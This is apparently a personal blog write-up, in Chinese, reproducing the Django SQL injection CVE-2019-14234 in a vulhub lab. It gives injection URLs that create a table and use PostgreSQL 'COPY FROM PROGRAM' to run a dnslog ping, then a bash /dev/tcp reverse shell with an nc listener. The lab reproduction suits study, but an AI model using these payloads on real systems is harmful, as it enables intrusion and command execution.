CVE-2019-14234漏洞复现

710 阅读2分钟

0x01 简介

  • 这是 vulhub上关于CVE-2019-14234的简介

图片.png

0x02 环境准备

  1. docker环境
  • 本次复现基于docker容器,自行安装docker并拉取vulhub,详见vulhub.org
  • 根据 vulhub中的提示启动docker和漏洞环境
  1. dnslog: www.dnslog.cn/
  2. Netcat + 一台攻击机

0x03 漏洞复现

启动漏洞环境

图片.png

图片.png

注意事项

  • 如果你的docker容器部署在云服务器上,一定要记得打开防火墙,开放端口,开放端口
  • 整个项目应该是白盒测试,黑盒哪里能得到这么多信息.....

漏洞复现

  • 1.登录 admin页面,username :admin password: a123123123. 登录后界面:

图片.png

图片.png

其中 detail参数为用户可控变量,我们来测一波 访问: http://8.142.189.231:8000/admin/vuln/collection/?detail__a'b=123

图片.png

看,这里报错了,很容易的就构造语句

构造语句

构造后语句: WHERE (field->'[detail__a‘) = '1' or 1=1]') ='value'

分析SQL执行语句:WHERE (field->'[key_name]') ='value'

WHERE (field->'[detail__a‘) = '1' or 1=1]') ='value'

0x04具体操作

  • 报错页面 图片.png

  • 执行构造语句成功后的页面

图片.png

  • 在postgresql中创造 cmd_exec数据表,如果显示 no results to fetch 或者 exists,就ok了

http://8.142.189.231:8000/admin/vuln/collection/?detail__a')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20 图片.png

图片.png

  • 使用dnslog 来查看是否执行命令

原理:当使用ping 命令时,访问dnslog,会留下 访问者IP

我的语句: http://8.142.189.231:8000/admin/vuln/collection/?detail__a')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping 98qzek.dnslog.cn'--20%


第一次:在url中输入的表名错误,失败 图片.png

第二次: 应该是url漏了什么,解码时发生错误,失败 图片.png 第三次:第三次就成功了(上面的命令,是已经修改后,正确的命令)

图片.png

  • dnslog 有解析记录,说明执行成功了啊,可以继续做一些其他的事情了!感觉这就行一个RCE了,大有可为

0x05 漏洞利用

  • 反弹shell

受害机:bash -i >& /dev/tcp/your ip/端口 0>&1 攻击机: 开启监听模式 nc -lvp 端口 nc -lvnp 端口 下一步还可以继续做文章....

  • 通过此漏洞可以执行系统命令,那么可不可以继续渗透,拿服务器权限了?
  • 可不可以利于meatsploit getshell 呢?

0x06 结语

上述的所有想法,我都做不了,因为我的电脑只有四个G,开一个VMware,kali,一个浏览器,就卡了。等我工作以后,再来试试吧....

图片.png 不得不说阿里云是真的强啊,我就复现一个漏洞,警报短信就发起来了